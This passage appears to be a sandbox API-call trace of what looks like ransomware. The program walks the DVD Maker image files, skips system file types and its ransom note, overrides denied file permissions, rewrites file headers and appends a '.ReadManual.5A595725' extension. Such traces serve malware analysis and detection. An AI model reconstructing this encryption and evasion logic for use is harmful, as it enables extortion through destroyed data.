[0253.078] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0253.078] lstrcpyW (in: lpString1=0x6ab914, lpString2="ParentMenuButtonIconSubpict.png" | out: lpString1="ParentMenuButtonIconSubpict.png") returned="ParentMenuButtonIconSubpict.png" [0253.078] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="RecoveryManual.html") returned -1 [0253.078] StrStrIW (lpFirst="ParentMenuButtonIconSubpict.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.078] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.078] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.078] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.078] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.078] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.078] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.078] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" [0253.078] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ReadManual.5A595725" [0253.079] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.ReadManual.5A595725") returned 111 [0253.079] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37374732048) returned 1 [0253.079] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0253.079] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.079] GetLastError () returned 0x5 [0253.079] GetNamedSecurityInfoW () returned 0x0 [0253.079] SetNamedSecurityInfoW () returned 0x0 [0253.079] SetNamedSecurityInfoW () returned 0x0 [0253.080] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.080] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3055) returned 1 [0253.080] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbef, lpName=0x0) returned 0x1a0 [0253.080] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0253.081] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.081] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.082] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.083] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbef) returned 0x2f0000 [0253.083] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.083] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37375158580) returned 1 [0253.083] CloseHandle (hObject=0x1a0) returned 1 [0253.083] SetSecurityInfo () returned 0x5 [0253.083] SetSecurityInfo () returned 0x5 [0253.083] LocalFree (hMem=0x674d38) returned 0x0 [0253.083] CloseHandle (hObject=0x184) returned 1 [0253.084] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0253.084] lstrcpyW (in: lpString1=0x6ab914, lpString2="performance.png" | out: lpString1="performance.png") returned="performance.png" [0253.084] lstrcmpiW (lpString1="performance.png", lpString2="RecoveryManual.html") returned -1 [0253.084] StrStrIW (lpFirst="performance.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.084] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.084] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.084] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.085] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.085] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.085] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.085] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.085] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.085] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" [0253.085] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ReadManual.5A595725" [0253.085] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.ReadManual.5A595725") returned 95 [0253.085] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37375378725) returned 1 [0253.085] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0253.086] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.086] GetLastError () returned 0x5 [0253.086] GetNamedSecurityInfoW () returned 0x0 [0253.086] SetNamedSecurityInfoW () returned 0x0 [0253.087] SetNamedSecurityInfoW () returned 0x0 [0253.087] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.087] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=25243) returned 1 [0253.087] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x629b, lpName=0x0) returned 0x1a0 [0253.087] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0253.088] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.088] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.089] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.090] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x629b) returned 0x2f0000 [0253.090] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.090] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37375890858) returned 1 [0253.090] CloseHandle (hObject=0x1a0) returned 1 [0253.090] SetSecurityInfo () returned 0x5 [0253.090] SetSecurityInfo () returned 0x5 [0253.090] LocalFree (hMem=0x674d38) returned 0x0 [0253.090] CloseHandle (hObject=0x184) returned 1 [0253.090] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0253.091] lstrcpyW (in: lpString1=0x6ab914, lpString2="Perf_Scenes_Mask1.png" | out: lpString1="Perf_Scenes_Mask1.png") returned="Perf_Scenes_Mask1.png" [0253.091] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="RecoveryManual.html") returned -1 [0253.091] StrStrIW (lpFirst="Perf_Scenes_Mask1.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.091] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.091] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.091] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.091] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.091] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.091] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.091] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" [0253.091] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ReadManual.5A595725" [0253.091] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.ReadManual.5A595725") returned 101 [0253.091] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37375983738) returned 1 [0253.091] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0253.091] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.091] GetLastError () returned 0x5 [0253.091] GetNamedSecurityInfoW () returned 0x0 [0253.092] SetNamedSecurityInfoW () returned 0x0 [0253.092] SetNamedSecurityInfoW () returned 0x0 [0253.093] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.093] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6922) returned 1 [0253.093] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b0a, lpName=0x0) returned 0x1a0 [0253.093] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0253.093] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.093] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.095] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.095] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b0a) returned 0x2f0000 [0253.095] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.095] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37376396764) returned 1 [0253.095] CloseHandle (hObject=0x1a0) returned 1 [0253.095] SetSecurityInfo () returned 0x5 [0253.095] SetSecurityInfo () returned 0x5 [0253.095] LocalFree (hMem=0x674d38) returned 0x0 [0253.095] CloseHandle (hObject=0x184) returned 1 [0253.096] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0253.096] lstrcpyW (in: lpString1=0x6ab914, lpString2="Perf_Scenes_Subpicture1.png" | out: lpString1="Perf_Scenes_Subpicture1.png") returned="Perf_Scenes_Subpicture1.png" [0253.096] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="RecoveryManual.html") returned -1 [0253.096] StrStrIW (lpFirst="Perf_Scenes_Subpicture1.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.096] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.096] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.096] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.096] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.096] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.096] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.096] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" [0253.096] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ReadManual.5A595725" [0253.096] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.ReadManual.5A595725") returned 107 [0253.096] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37376495934) returned 1 [0253.096] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0253.096] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.097] GetLastError () returned 0x5 [0253.097] GetNamedSecurityInfoW () returned 0x0 [0253.097] SetNamedSecurityInfoW () returned 0x0 [0253.097] SetNamedSecurityInfoW () returned 0x0 [0253.098] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.098] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4959) returned 1 [0253.098] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135f, lpName=0x0) returned 0x1a0 [0253.098] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0253.099] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.099] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.100] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.101] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135f) returned 0x2f0000 [0253.101] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.101] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37376966035) returned 1 [0253.101] CloseHandle (hObject=0x1a0) returned 1 [0253.101] SetSecurityInfo () returned 0x5 [0253.101] SetSecurityInfo () returned 0x5 [0253.101] LocalFree (hMem=0x674d38) returned 0x0 [0253.101] CloseHandle (hObject=0x184) returned 1 [0253.102] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0253.102] lstrcpyW (in: lpString1=0x6ab914, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png" [0253.102] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0253.102] StrStrIW (lpFirst="PreviousMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.102] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.102] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.102] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.102] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.102] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.102] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.102] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" [0253.102] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ReadManual.5A595725" [0253.102] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.ReadManual.5A595725") returned 106 [0253.102] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37377121614) returned 1 [0253.103] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0253.103] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.103] GetLastError () returned 0x5 [0253.103] GetNamedSecurityInfoW () returned 0x0 [0253.103] SetNamedSecurityInfoW () 